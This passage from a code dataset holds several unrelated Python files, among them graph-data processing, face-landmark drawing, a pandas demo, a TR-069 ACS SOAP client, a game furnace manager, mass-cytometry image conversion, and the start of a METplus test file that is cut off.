depth=len(node_classes), dtype=tf.float32)\n else:\n node_class_id = -1\n node_class_one_hot = tf.zeros((len(node_classes),))\n pos_tag_attrs = {}\n for pos_tags, pos_tag_names in [('coarse_pos_tags', coarse_pos_tags), ('fine_pos_tags', fine_pos_tags)]:\n pos_tag_ids = [pos_tag_names.index(p) for p in old_attrs.get(pos_tags, [transform.IRRELEVANT_CLASS])]\n pos_tag_attrs[f'{pos_tags}_ordinal'] = pos_tag_ids\n pos_tag_attrs[f'{pos_tags}_encoded'] = tf.math.add_n([\n tf.one_hot(i, depth=len(pos_tag_names))\n for i in pos_tag_ids\n ])\n g.nodes[n_id].update({\n 'class_one_hot': node_class_one_hot,\n 'class_ordinal': node_class_id,\n 'is_target': node_class not in [transform.IRRELEVANT_CLASS]\n })\n g.nodes[n_id].update(pos_tag_attrs)\n\n node_feature = node_feature_builder(n_id, old_attrs, g)\n if type(node_feature) in [int, float]:\n new_node_feature_len = 1\n elif type(node_feature) in [np.ndarray, tf.Tensor, EagerTensor]:\n new_node_feature_len = node_feature.shape[0]\n elif type(node_feature) in [list, set]:\n new_node_feature_len = len(node_feature)\n else:\n raise ValueError(f'Unsupported feature type {type(node_feature)}.')\n if node_feature_len is None:\n node_feature_len = new_node_feature_len\n else:\n assert node_feature_len == new_node_feature_len, 'Inconsistent node feature lengths. Make sure the ' \\\n 'FeatureBuilder always returns the same size features.' \\\n f'new: {new_node_feature_len} vs old: {node_feature_len}'\n g.nodes[n_id].update({\n 'feature': node_feature,\n })\n print(f'\\rDone with graph {i + 1}/{len(graphs)}', end='')\n print()\n\n print('Converting NetworkX graphs to DGL graphs...')\n dgl_graphs: Dict[int, dgl.DGLHeteroGraph] = {}\n for i, (g_id, g, _) in enumerate(graphs):\n dgl_graph: dgl.DGLHeteroGraph = dgl.from_networkx(\n g,\n edge_attrs=['class_one_hot', 'class_ordinal'],\n node_attrs=['class_one_hot', 'class_ordinal', 'is_target', 'feature']\n )\n dgl_graphs[i] = dgl_graph\n print(f'\\rDone with graph {i + 1}/{len(graphs)}', end='')\n print()\n\n return {\n 'ids': np.array(graph_ids),\n 'texts': graph_texts,\n 'class_weights': class_weights,\n 'node_classes': node_classes,\n 'edge_classes': edge_classes,\n 'max_num_nodes': max_num_nodes,\n 'node_feature_len': node_feature_len,\n\n 'dgl_graphs': dgl_graphs,\n\n 'node_texts': node_texts\n }\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Processing utility for our datasets.')\n parser.add_argument(\n '--dataset',\n required=True,\n type=str,\n help='Path to the dataset to process.'\n )\n parser.add_argument(\n '--target',\n required=True,\n type=str,\n help='Path to the target file.'\n )\n parser.add_argument(\n '--features',\n type=str,\n help='Node features to build.',\n default='none',\n choices=['none', *Word2VecFeatureBuilder.SUPPORTED_MODELS, 'debug', 'bert', 'fine-pos', 'coarse-pos', 'concat']\n )\n parser.add_argument(\n '--mappings',\n nargs='*',\n required=False,\n help='One or many class mappings in the form :, '\n 'e.g. to change all Events to Tasks use Event:Task'\n )\n args = parser.parse_args()\n\n feature_builder: BaseNodeFeatureBuilder\n if args.features == 'none' or args.features == 'None':\n feature_builder = IdNodeFeatureBuilder()\n elif args.features == 'debug':\n feature_builder = DebugFeatureBuilder()\n elif args.features == 'bert':\n feature_builder = BertFeatureBuilder()\n elif args.features in ['fine-pos', 'coarse-pos']:\n feature_builder = PosFeatureBuilder(args.features)\n elif args.features in Word2VecFeatureBuilder.SUPPORTED_MODELS:\n feature_builder = Word2VecFeatureBuilder(args.features)\n elif args.features == 'concat':\n feature_builder = ConcatFeatureBuilder()\n else:\n raise ValueError(f'Unknown feature builder \"{args.features}\"')\n\n class_mapping = {}\n if args.mappings:\n for mapping in args.mappings:\n source, target = mapping.split(':')\n if target == '':\n target = None\n class_mapping[source] = target\n print(f'Using class mapping {class_mapping}')\n\n print(f'Converting {args.dataset} to networkx graphs...')\n transformed_graphs = process_mrp_to_networkx(args.dataset)\n print('Done!')\n data = process_networkx_to_dgl(transformed_graphs, node_feature_builder=feature_builder, class_mapping=class_mapping)\n\n pickled = pickle.dumps(data)\n print(f'Writing approximately {len(pickled) / 1e6:.1f}MB of processed data to disk...')\n os.makedirs(os.path.dirname(args.target), exist_ok=True)\n with open(args.target, 'wb') as out_file:\n out_file.write(pickled)\n\n print('Done!')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ucca4bpm/data/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":10408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"335059852","text":"from PIL import Image, ImageDraw\nimport optparse\nimport face_recognition\n'''\n打印脸部特征轮廓\n'''\ndef faceFeature(picture):\n\t# 将jpg文件加载到numpy 数组中\n\timage = face_recognition.load_image_file(picture)\n\n\t# 查找图像中所有面部的所有面部特征\n\tface_landmarks_list = face_recognition.face_landmarks(image)\n\n\tprint(\"I found {} face(s) in this photograph.\".format(len(face_landmarks_list)))\n\n\tfor face_landmarks in face_landmarks_list:\n\n\t #打印此图像中每个面部特征的位置\n\t facial_features = [\n\t 'chin',\n\t 'left_eyebrow',\n\t 'right_eyebrow',\n\t 'nose_bridge',\n\t 'nose_tip',\n\t 'left_eye',\n\t 'right_eye',\n\t 'top_lip',\n\t 'bottom_lip'\n\t ]\n\n\t for facial_feature in facial_features:\n\t print(\"The {} in this face has the following points: {}\".format(facial_feature, face_landmarks[facial_feature]))\n\n\t #让我们在图像中描绘出每个人脸特征！\n\t pil_image = Image.fromarray(image)\n\t d = ImageDraw.Draw(pil_image)\n\n\t for facial_feature in facial_features:\n\t d.line(face_landmarks[facial_feature], width=5)\n\n\t pil_image.show()\n\ndef main():\n\tparser = optparse.OptionParser('usage%prog '+'-p ') \n\tparser.add_option('-p', dest='picture', type='string', help='specify picture file') \n\t(options, args) = parser.parse_args() \n\tpicture = options.picture\n\tif picture == None: \n\t\tprint(parser.usage) \n\t\texit(0)\n\tfaceFeature(picture)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"face_recognition/FaceFeature.py","file_name":"FaceFeature.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"72454256","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 21 08:47:32 2020\n\n@author: xavi2\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\narr_pand = np.random.randint(0,10,6).reshape(2,3)\n\ndf1 = pd.DataFrame(arr_pand)\ns1 = df1[0]\ns2 = df1[1]\ns3 = df1[2]\n\ndf1[3] = s1\ndf1[4] = s1 * s2\n\ndatos_fisicos_uno = pd.DataFrame(\n arr_pand,\n columns = [\n 'Estatura (cm)',\n 'Peso (kg)',\n 'Edad (anios)'])\n\ndatos_fisicos_dos = pd.DataFrame(\n arr_pand,\n columns = [\n 'Estatura (cm)',\n 'Peso (kg)',\n 'Edad (anios)'],\n index = [\n 'Rodman',\n 'Xavier'])\n\nserie_peso = datos_fisicos_dos['Peso (kg)']\ndatos_rodman = serie_peso['Rodman']\nprint(serie_peso)\nprint(datos_rodman)\n\ndf1.index = ['Rodman', 'Xavier']\ndf1.index = ['Wendy', 'Carolina']\ndf1.columns = ['A', 'B', 'C', 'D', 'E']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"03-Pandas/c_dateframes.py","file_name":"c_dateframes.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"368878092","text":"from zeep import Client\nfrom zeep.wsse.username import UsernameToken\nimport xmltodict\n\nimport os\n\nif \"BFT_DEBUG\" in os.environ:\n import logging.config\n\n logging.config.dictConfig({\n 'version': 1,\n 'formatters': {\n 'verbose': {\n 'format': '%(name)s: %(message)s'\n }\n },\n 'handlers': {\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'verbose',\n },\n },\n 'loggers': {\n 'zeep.transports': {\n 'level': 'DEBUG',\n 'propagate': True,\n 'handlers': ['console'],\n },\n }\n })\n\nfrom boardfarm.lib.bft_logging import LoggerMeta\n\nclass FriendlyACS():\n __metaclass__ = LoggerMeta\n log = \"\"\n log_calls = \"\"\n\n model = \"friendly_acs_soap\"\n\n def __init__(self, *args, **kwargs):\n self.args = args\n self.kwargs = kwargs\n self.username = self.kwargs['username']\n self.password = self.kwargs['password']\n self.ipaddr = self.kwargs['ipaddr']\n self.wsdl = \"http://\" + self.kwargs['ipaddr'] + \"/ftacsws/acsws.asmx?WSDL\"\n self.client = Client(wsdl=self.wsdl, wsse=UsernameToken(self.username, self.password))\n self.port = self.kwargs.get('port', '80')\n self.log = \"\"\n\n name = \"acs_server\"\n\n def __str__(self):\n return \"FriendlyACS\"\n\n def close(self):\n pass\n\n def get(self, serial_number, param, source=0):\n # source = 0 (CPE), source = 1 (DB)\n ret = self.client.service.FTGetDeviceParameters(devicesn=serial_number, source=source, arraynames=[param])\n if None == ret['Params']:\n return None\n else:\n return ret['Params']['ParamWSDL'][0]['Value']\n\n def set(self, serial_number, attr, value):\n array_of_param = self.client.get_type('{http://www.friendly-tech.com}ArrayOfParam')\n\n arr = array_of_param([{'Name': attr, 'Value': value}])\n\n # TODO: investigate push, endsession, reprovision, priority to make sure they are what we want\n self.client.service.FTSetDeviceParameters(devicesn=serial_number, \\\n arrayparams=arr, \\\n push=True, \\\n endsession=False, \\\n priority=0)\n\n def rpc(self, serial_number, name, content):\n ''' Invoke custom RPC on specific CM'''\n ret = self.client.service.FTRPCInvoke(devicesn=serial_number, rpcname=name, soapcontent=content)\n return xmltodict.parse(ret['Response'])\n\n def rpc_GetParameterAttributes(self, serial_number, name):\n content = ' %s ' % name\n\n ret = self.rpc(serial_number, name, content)\n\n return ret['cwmp:GetParameterAttributesResponse']['ParameterList']['ParameterAttributeStruct']\n\n def rpc_GetParameterValues(self, serial_number, name):\n content = ' %s ' % name\n\n ret = self.rpc(serial_number, name, content)\n\n return ret['cwmp:GetParameterValuesResponse']['ParameterList']['ParameterValueStruct']['Value']['#text']\n\n def getcurrent(self, serial_number, param, source=0):\n self.client.service.FTGetDeviceParameters(devicesn=serial_number, source=source, arraynames=[param+'.'])\n\n def rpc_SetParameterAttributes(self, serial_number, name, set_value):\n content = ' %s 1 %s 0 ' %(name, set_value)\n\n self.rpc(serial_number, name, content)\n\n def rpc_AddObject(self, serial_number, obj_name):\n content = ' %s. '% obj_name\n self.rpc(serial_number, obj_name, content)\n\n def rpc_DeleteObject(self, serial_number, obj_name):\n content = ' %s. ' % obj_name\n self.rpc(serial_number, obj_name, content)\n\n def is_online(self, serial_number):\n ret = self.client.service.FTCPEStatus(devicesn=serial_number)\n return ret['Online']\n\nif __name__ == '__main__':\n import sys\n\n if ':' in sys.argv[1]:\n ip = sys.argv[1].split(':')[0]\n port = sys.argv[1].split(':')[1]\n else:\n ip = sys.argv[1]\n port = 80\n\n acs = FriendlyACS(ipaddr=ip, port=port, username=sys.argv[2], password=sys.argv[3])\n\n ret = acs.rpc_GetParameterAttributes('DEAP815610DA', 'Device.WiFi.SSID.1.SSID')\n print(ret['Notification'])\n\n ret = acs.get('DEAP815610DA', 'Device.DeviceInfo.SoftwareVersion')\n print(ret)\n\n ret = acs.get ('DEAP815610DA', 'Device.WiFi.SSID.1.SSID')\n print(ret)\n","sub_path":"boardfarm/devices/friendly_acs_soap.py","file_name":"friendly_acs_soap.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"192381249","text":"from twisted.internet.defer import inlineCallbacks\nfrom twisted.internet.task import LoopingCall\n\nfrom bravo.blocks import blocks, items, furnace_fuel, unstackable\nfrom bravo.inventory import Slot\nfrom bravo.inventory.windows import FurnaceWindow\n\n# TODO: move this out of the module into plug-in\nfurnace_recipes = {\n blocks[\"gold-ore\"].slot : Slot(items[\"gold-ingot\"].slot, 0, 1),\n blocks[\"iron-ore\"].slot : Slot(items[\"iron-ingot\"].slot, 0, 1),\n blocks[\"diamond-ore\"].slot : Slot(items[\"diamond\"].slot, 0, 1),\n blocks[\"log\"].slot : Slot(items[\"coal\"].slot, 1, 1), # charcoal\n blocks[\"cactus\"].slot : Slot(items[\"dye\"].slot, 2, 1), # green dye\n blocks[\"sand\"].slot : Slot(blocks[\"glass\"].slot, 0, 1),\n blocks[\"cobblestone\"].slot : Slot(blocks[\"stone\"].slot, 0, 1),\n items[\"clay-balls\"].slot : Slot(items[\"clay-brick\"].slot, 0, 1),\n items[\"raw-porkchop\"].slot : Slot(items[\"cooked-porkchop\"].slot, 0, 1),\n items[\"raw-fish\"].slot : Slot(items[\"cooked-fish\"].slot, 0, 1)\n}\n\nclass FurnaceManager(object):\n\n def __init__(self, factory):\n self.factory = factory\n self.furnaces = {}\n self.cleanup_timer = LoopingCall(self.cleanup)\n\n def start(self):\n \"\"\"\n Enable this manager.\n\n While this manager is running, furnaces will be reaped every 5\n minutes.\n \"\"\"\n\n self.cleanup_timer.start(300)\n\n def stop(self):\n self.cleanup_timer.stop()\n\n @inlineCallbacks\n def update(self, coords):\n # We've got informed that furnace content is changed\n if coords not in self.furnaces:\n bigx, smallx, bigz, smallz, y = coords\n chunk = yield self.factory.world.request_chunk(bigx, bigz)\n tile = chunk.tiles[(smallx, y, smallz)]\n self.furnaces[coords] = FurnaceProcess(tile, coords)\n self.furnaces[coords].factory = self.factory\n self.furnaces[coords].update()\n\n def remove(self, coords):\n if coords in self.furnaces:\n del(self.furnaces[coords])\n\n def cleanup(self):\n # remove processes that do not run\n for c in self.furnaces.keys():\n if not self.furnaces[c].running:\n self.remove(c)\n\nclass FurnaceProcess(object):\n '''\n NOTE: Our furnace process doesn't operate with world ticks.\n We do updates twice per second. It's our UI update rate.\n '''\n def __init__(self, tile, coords):\n self.tile = tile\n self.coords = coords\n self.running = False\n self.burning = LoopingCall(self.burn)\n\n def update(self):\n if not self.running:\n if self.hasFuel and self.canCraft:\n self.tile.burntime = 0\n self.tile.cooktime = 0\n self.burning.start(0.5) # start burning loop\n\n def burn(self):\n # -----------------------------\n # --- item crafting ---\n # -----------------------------\n if self.canCraft:\n self.tile.cooktime += 1\n # Notchian time is ~9.25-9.50 sec.\n if self.tile.cooktime == 20: # cooked!\n source = self.tile.inventory.crafting[0]\n product = furnace_recipes[source.primary]\n self.tile.inventory.crafting[0] = source.decrement()\n if self.tile.inventory.crafted[0] is None:\n self.tile.inventory.crafted[0] = product\n else:\n item = self.tile.inventory.crafted[0]\n self.tile.inventory.crafted[0] = item.increment(product.quantity)\n self.update_all_windows_slot(0, self.tile.inventory.crafting[0])\n self.update_all_windows_slot(2, self.tile.inventory.crafted[0])\n self.tile.cooktime = 0\n else:\n self.tile.cooktime = 0\n\n # ----------------------------\n # --- fuel consume ---\n # ----------------------------\n if self.tile.burntime == 0:\n if self.hasFuel and self.canCraft: # burn next portion of the fuel\n fuel = self.tile.inventory.fuel[0]\n self.tile.burntime = self.burn_max = furnace_fuel[fuel.primary]\n self.tile.inventory.fuel[0] = fuel.decrement()\n if not self.running:\n self.on_off(True)\n self.update_all_windows_slot(1, self.tile.inventory.fuel[0])\n else: # out of fuel or no need to burn more\n self.burning.stop()\n self.on_off(False)\n # reset cook time\n self.tile.cooktime = 0\n self.update_all_windows_progress(0, 0)\n return\n self.tile.burntime -= 1\n\n # ----------------------------\n # --- update progress bars ---\n # ----------------------------\n cook_progress = 185 * self.tile.cooktime / 19\n burn_progress = 250 * self.tile.burntime / self.burn_max\n self.update_all_windows_progress(0, cook_progress)\n self.update_all_windows_progress(1, burn_progress)\n\n def on_off(self, state):\n self.running = state\n bigx, smallx, bigz, smallz, y = self.coords\n block = state and blocks[\"burning-furnace\"] or blocks[\"furnace\"]\n d = self.factory.world.request_chunk(bigx, bigz)\n @d.addCallback\n def replace_furnace_block(chunk):\n chunk.set_block((smallx, y, smallz), block.slot)\n self.factory.flush_chunk(chunk)\n\n def update_all_windows_slot(self, slot, item):\n # update all opened windows\n for p in self.factory.protocols.itervalues():\n if p.windows and type(p.windows[-1]) == FurnaceWindow:\n window = p.windows[-1]\n if window.coords == self.coords:\n if item is None:\n p.write_packet(\"window-slot\",\n wid=window.wid, slot=slot, primary=-1)\n else:\n p.write_packet(\"window-slot\",\n wid=window.wid, slot=slot, primary=item.primary,\n secondary=item.secondary, count=item.quantity)\n\n def update_all_windows_progress(self, bar, value):\n # update all opened windows\n for p in self.factory.protocols.itervalues():\n if p.windows and type(p.windows[-1]) == FurnaceWindow:\n window = p.windows[-1]\n if window.coords == self.coords:\n p.write_packet(\"window-progress\", wid=window.wid,\n bar=bar, progress=value)\n\n @property\n def hasFuel(self):\n # if the furnace hase something to burn\n if self.tile.inventory.fuel[0] is None:\n return False\n else:\n return self.tile.inventory.fuel[0].primary in furnace_fuel\n\n @property\n def canCraft(self):\n # if have somethig to craft from...\n if self.tile.inventory.crafting[0] is None:\n return False\n if self.tile.inventory.crafting[0].primary in furnace_recipes:\n #...and has space for it\n if self.tile.inventory.crafted[0] is None:\n return True\n else:\n crafting = self.tile.inventory.crafting[0]\n crafted = self.tile.inventory.crafted[0]\n if furnace_recipes[crafting.primary][0] != crafted.primary:\n return False\n elif crafted.primary in unstackable:\n return False\n elif crafted.quantity + furnace_recipes[crafting.primary].quantity > 64:\n return False\n else:\n return True\n else:\n return False\n","sub_path":"bravo/utilities/furnace.py","file_name":"furnace.py","file_ext":"py","file_size_in_byte":7717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"156232353","text":"from __future__ import with_statement, division\n\nimport ij.process as process\nfrom ij import ImageStack\n\ntry:\n import sc.fiji.i5d.Image5D\n import sc.fiji.i5d as i5d\nexcept:\n import i5d.Image5D\n import i5d as i5d\n\nimport struct\n\nfrom loci.formats import ImageReader , MetadataTools, IFormatWriter, FormatTools\nimport ome.xml.model.enums.DimensionOrder as DimensionOrder\nimport ome.xml.model.primitives.PositiveInteger as PositiveInteger\nimport ome.xml.model.primitives.NonNegativeInteger as NonNegativeInteger\nimport ome.xml.model.enums.PixelType as PixelType\nfrom loci.formats import ImageWriter, ImageReader\nfrom loci.plugins import BF\nimport ome.units.quantity.Length as Length\nimport ome.units.UNITS as units\n\nimport loci.common.DataTools as DataTools\n\nimport xml.etree.ElementTree as et\n\n\ndef convert_imc_to_image(imc_acquisition):\n \"\"\"\n Load an MCD and convert it to a image5d Tiff\n :param filename: Filename of the MCD\n :return: an image5d image\n \"\"\"\n ac_id = imc_acquisition.image_ID\n print('Contstruct image from data: %s' %ac_id)\n\n img_channels = imc_acquisition.n_channels\n channel_names = imc_acquisition.channel_metals\n channel_labels = imc_acquisition.channel_labels\n\n img_data = imc_acquisition.get_img_stack_cyx()\n\n if channel_labels is not None:\n channel_ids = [lab + '_' + name for name, lab in\n zip(channel_names, channel_labels)]\n else:\n channel_ids = channel_names\n print('Add planes to stack:')\n imgstack = stack_to_imagestack(img_data, channel_ids=channel_ids)\n\n file_name = imc_acquisition.original_filename.replace('.mcd','')\n file_name = file_name.replace('.txt', '')\n description = imc_acquisition.image_description\n if description is not None:\n file_name = '_'.join((file_name,'a'+ac_id, 'd'+description))\n else:\n file_name = '_'.join((file_name, 'a' + ac_id))\n\n i5d_img = get_image5d(file_name, imgstack, channel_ids)\n\n i5d_img.setDefaultColors()\n print('finished image: %s' %ac_id)\n\n return i5d_img\n\n\ndef stack_to_imagestack(cxy_stack, img_stack=None, channel_ids=None):\n \"\"\"\n\n :param cxy_stack:\n :param img_stack:\n :return:\n \"\"\"\n\n c, x, y = (len(cxy_stack), len(cxy_stack[0]), len(cxy_stack[0][0]))\n if img_stack is None:\n img_stack = ImageStack(y, x)\n\n for i in range(c):\n cur_proc = process.FloatProcessor(cxy_stack[i])\n cur_proc.flipVertical()\n cur_proc = cur_proc.rotateRight()\n if channel_ids is None:\n img_stack.addSlice(cur_proc)\n else:\n img_stack.addSlice(channel_ids[i], cur_proc)\n\n return img_stack\n\n\ndef get_image5d(imgName, img_stack, channel_names):\n \"\"\"\n\n :param imgName:\n :param img_stack:\n :param channel_names:\n :return:\n \"\"\"\n\n nchannels = len(channel_names)\n for i, lab in enumerate(channel_names):\n img_stack.setSliceLabel(lab, i+1)\n i5dimg = i5d.Image5D(imgName, img_stack, nchannels,1,1)\n\n for i,cid in enumerate(channel_names):\n i5dimg.getChannelCalibration(i+1).setLabel(str(cid))\n\n i5dimg.setDefaultColors()\n return i5dimg\n\ndef load_ome_img(file_name):\n \"\"\"\n\n :param file_name:\n :return:\n \"\"\"\n imps = BF.openImagePlus(file_name)\n imag = imps[0]\n # parse metadata\n reader = ImageReader()\n omeMeta = MetadataTools.createOMEXMLMetadata()\n reader.setMetadataStore(omeMeta)\n reader.setId(file_name)\n print(omeMeta)\n reader.close()\n\n return (imag, omeMeta)\n\ndef generate_ome_fromimc(imc_acquisition):\n \"\"\"\n\n :param imc_acquisition:\n :return:\n \"\"\"\n\n y, x, c = imc_acquisition.shape\n print(x,y,c)\n metadata = MetadataTools.createOMEXMLMetadata()\n filename= '/home/vitoz/temp/test.ome.tiff'\n MetadataTools.populateMetadata(metadata, 0, filename, True, \"XYZTC\",\n FormatTools.getPixelTypeString(6), x, y, 1, c, 1, 1)\n if imc_acquisition.origin == 'mcd':\n ac_id = imc_acquisition.image_ID\n meta_xml = et.XML(imc_acquisition.original_metadata)\n ns = '{'+meta_xml.tag.split('}')[0].strip('{')+'}'\n\n channel_xml = [channel_xml for channel_xml in meta_xml.findall(ns + 'AcquisitionChannel')\n if channel_xml.find(ns + 'AcquisitionID').text == ac_id]\n\n ac_xml = [tx for tx in meta_xml.findall(ns + 'Acquisition')\n if tx.find(ns + 'ID').text == ac_id][0]\n # AcquisitionDate = ac_xml.find(ns+'StartTimeStamp').text\n # Description = ac_xml.find(ns+'Description').text\n # AblationPower = ac_xml.find(ns + 'AblationPower').text\n # AblationDistanceBetweenShots = ac_xml.find(ns + 'AblationDistanceBetweenShots').text\n # AblationFrequency = ac_xml.find(ns + 'AblationFrequency').text\n # ROIID = ac_xml.find(ns + 'ROIID').text\n # OrderNumber = ac_xml.find(ns + 'OrderNumber').text\n # SignalType = ac_xml.find(ns + 'SignalType').text\n # DataStartOffset = ac_xml.find(ns + 'DataStartOffset').text\n # DataEndOffset = ac_xml.find(ns + 'DataEndOffset').text\n # StartTimeStamp = ac_xml.find(ns + 'StartTimeStamp').text\n # EndTimeStamp = ac_xml.find(ns + 'EndTimeStamp').text\n # SegmentDataFormat = ac_xml.find(ns + 'SegmentDataFormat').text\n # ValueBytes = ac_xml.find(ns + 'ValueBytes').text\n #\n # chan_order = [int(cxml.find(ns+'OrderNumber').text) for cxml in channel_xml]\n metadata.setImageID(ac_id,0 )\n metadata.setImageName(ac_id,0)\n metadata.setPixelsDimensionOrder(DimensionOrder.XYCZT, 0)\n metadata.setPixelsSizeX(PositiveInteger(x), 0)\n metadata.setPixelsSizeY(PositiveInteger(y), 0)\n metadata.setPixelsSizeC(PositiveInteger(c), 0)\n metadata.setPixelsSizeZ(PositiveInteger(1), 0)\n metadata.setPixelsSizeT(PositiveInteger(1), 0)\n\n metadata.setPixelsPhysicalSizeX(Length(1, units.MICROM), 0)\n metadata.setPixelsPhysicalSizeY(Length(1, units.MICROM), 0)\n metadata.setPixelsPhysicalSizeZ(Length(1, units.MICROM), 0)\n\n metadata.setPixelsID(ac_id, 0)\n metadata.setPixelsType(PixelType.FLOAT, 0)\n metadata.setPixelsInterleaved(False, 0)\n\n # metadata.setTiffDataFirstC(NonNegativeInteger(0), 0, 0)\n # metadata.setTiffDataFirstZ(NonNegativeInteger(0), 0, 0)\n # metadata.setTiffDataFirstT(NonNegativeInteger(0), 0, 0)\n print(c)\n for i in range(c):\n metadata.setChannelSamplesPerPixel(PositiveInteger(1), 0, i)\n for cxml in channel_xml:\n cnr = int(cxml.find(ns+'OrderNumber').text)-3\n if cnr >=0:\n name = cxml.find(ns + 'ChannelName').text\n label = cxml.find(ns + 'ChannelLabel')\n if label.text is None:\n label = name\n else:\n print(label.text)\n label = label.text\n print(label)\n print(name)\n cid = '_'.join([label, name])\n cid = cid.strip('(').strip(')')\n name = name.replace('(','').strip(')')\n metadata.setChannelFluor(name, 0, cnr)\n metadata.setChannelName(cid, 0, cnr)\n metadata.setChannelID(cid, 0, cnr)\n # for i in range(c):\n # metadata.setPlaneTheC(NonNegativeInteger(i),0,i)\n # metadata.setPlaneTheZ(NonNegativeInteger(0), 0, i)\n # metadata.setPlaneTheT(NonNegativeInteger(0), 0, i)\n\n\n return metadata\n\n else:\n ac_id = imc_acquisition.image_ID\n metadata.setImageID(ac_id, 0)\n metadata.setImageName(ac_id, 0)\n metadata.setPixelsDimensionOrder(DimensionOrder.XYCZT, 0)\n metadata.setPixelsSizeX(PositiveInteger(x), 0)\n metadata.setPixelsSizeY(PositiveInteger(y), 0)\n metadata.setPixelsSizeC(PositiveInteger(c), 0)\n metadata.setPixelsSizeZ(PositiveInteger(1), 0)\n metadata.setPixelsSizeT(PositiveInteger(1), 0)\n\n metadata.setPixelsPhysicalSizeX(Length(1, units.MICROM), 0)\n metadata.setPixelsPhysicalSizeY(Length(1, units.MICROM), 0)\n metadata.setPixelsPhysicalSizeZ(Length(1, units.MICROM), 0)\n\n metadata.setPixelsID(ac_id, 0)\n metadata.setPixelsType(PixelType.FLOAT, 0)\n metadata.setPixelsInterleaved(False, 0)\n\n # metadata.setTiffDataFirstC(NonNegativeInteger(0), 0, 0)\n # metadata.setTiffDataFirstZ(NonNegativeInteger(0), 0, 0)\n # metadata.setTiffDataFirstT(NonNegativeInteger(0), 0, 0)\n print(c)\n for i in range(c):\n metadata.setChannelSamplesPerPixel(PositiveInteger(1), 0, i)\n for cnr, metal, label in zip(range(c), imc_acquisition.channel_metals, imc_acquisition.channel_labels):\n metadata.setChannelFluor(metal, 0, cnr)\n metadata.setChannelName(label, 0, cnr)\n metadata.setChannelID(label, 0, cnr)\n\n return metadata\n\n\ndef save_ome_tiff(filename, image, metadata):\n reader = ImageReader()\n writer = ImageWriter()\n writer.setMetadataRetrieve(metadata)\n writer.setId(filename)\n nchan = image.getNChannels()\n stack = image.getImageStack()\n print(image.getStackSize())\n for i in range(nchan):\n writer.setSeries(0)\n process = stack.getProcessor(i+1)\n pixels = process.getPixels()\n pixels = DataTools.floatsToBytes(pixels, True)\n writer.saveBytes(i, pixels)\n writer.close()\n\n\n\n\n","sub_path":"imctools/imagej/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":9472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"19714615","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport re\nimport logging\nfrom collections import namedtuple\nimport pytest\nimport datetime\n\nimport produtil\n\nfrom metplus.wrappers.regrid_data_plane_wrapper import RegridDataPlaneWrapper\nfrom metplus.util import met_util as util\nfrom metplus.util import time_util\n\n# --------------------TEST CONFIGURATION and FIXTURE SUPPORT -------------\n#\n# The test configuration and fixture support the additional configuration\n# files used in METplus\n# !!!!!!!!!!!!!!!\n# !!!IMPORTANT!!!\n# !!!!!!!!!!!!!!!\n# The following two methods should be included in ALL pytest tests for METplus.\n#\n#\n#def pytest_addoption(parser):\n# parser.addoption(\"-c\", action=\"store\", help=\" -c \")\n\n\n# @pytest.fixture\n#def cmdopt(request):\n# return request.config.getoption(\"-c\")\n\n\n# -----------------FIXTURES THAT CAN BE USED BY ALL TESTS----------------\n#@pytest.fixture\ndef rdp_wrapper(metplus_config):\n \"\"\"! Returns a default RegridDataPlane with /path/to entries in the\n metplus_system.conf and metplus_runtime.conf configuration\n files. Subsequent tests can customize the final METplus configuration\n to over-ride these /path/to values.\"\"\"\n\n config = metplus_config()\n config.set('config', 'DO_NOT_RUN_EXE', True)\n return RegridDataPlaneWrapper(config)\n\n# ------------------------ TESTS GO HERE --------------------------\n\n# conf_dict is produtil config items set before creating grid_stat wrapper instance\n# out_dict is grid_stat wrapper c_dict values set by initialization\n@pytest.mark.parametrize(\n 'conf_dict, expected_field_info_list', [\n\n # 0) 1 item from var list\n ({'OBS_VAR1_NAME': 'APCP',\n 'OBS_VAR1_LEVELS': \"A06\"},\n [{'index': '1', 'obs_name': 'APCP', 'obs_level': 'A06'}]\n ),\n\n # 1) 1 item with level replaced from wrapper-specific\n ({'OBS_VAR1_NAME': 'P06M_NONE',\n 'OBS_VAR1_LEVELS': \"\\\"(*,*)\\\"\",\n 'OBS_REGRID_DATA_PLANE_VAR1_INPUT_LEVEL': '\"({valid?fmt=%Y%m%d_%H%M%S},*,*)\"'},\n [{'index': '1', 'obs_name': 'P06M_NONE', 'obs_level': '\"(20180201_000000,*,*)\"'},\n ]\n ),\n\n # 2) 2 items from var list\n ({'OBS_VAR1_NAME': 'APCP',\n 'OBS_VAR1_LEVELS': \"A06\",\n 'OBS_VAR2_NAME': 'ACPCP',\n 'OBS_VAR2_LEVELS': \"A03\",},\n [{'index': '1', 'obs_name': 'APCP', 'obs_level': 'A06'},\n {'index': '2', 'obs_name': 'ACPCP', 'obs_level': 'A03'},\n ]\n ),\n\n # 3) 2 items from var list, 3rd from wrapper-specific\n ({'OBS_VAR1_NAME': 'APCP',\n 'OBS_VAR1_LEVELS': \"A06\",\n 'OBS_VAR2_NAME': 'ACPCP',\n 'OBS_VAR2_LEVELS': \"A03\",\n 'OBS_REGRID_DATA_PLANE_VAR3_INPUT_FIELD_NAME': 'NAME_FOR_3'},\n [{'index': '1', 'obs_name': 'APCP', 'obs_level': 'A06'},\n {'index': '2', 'obs_name': 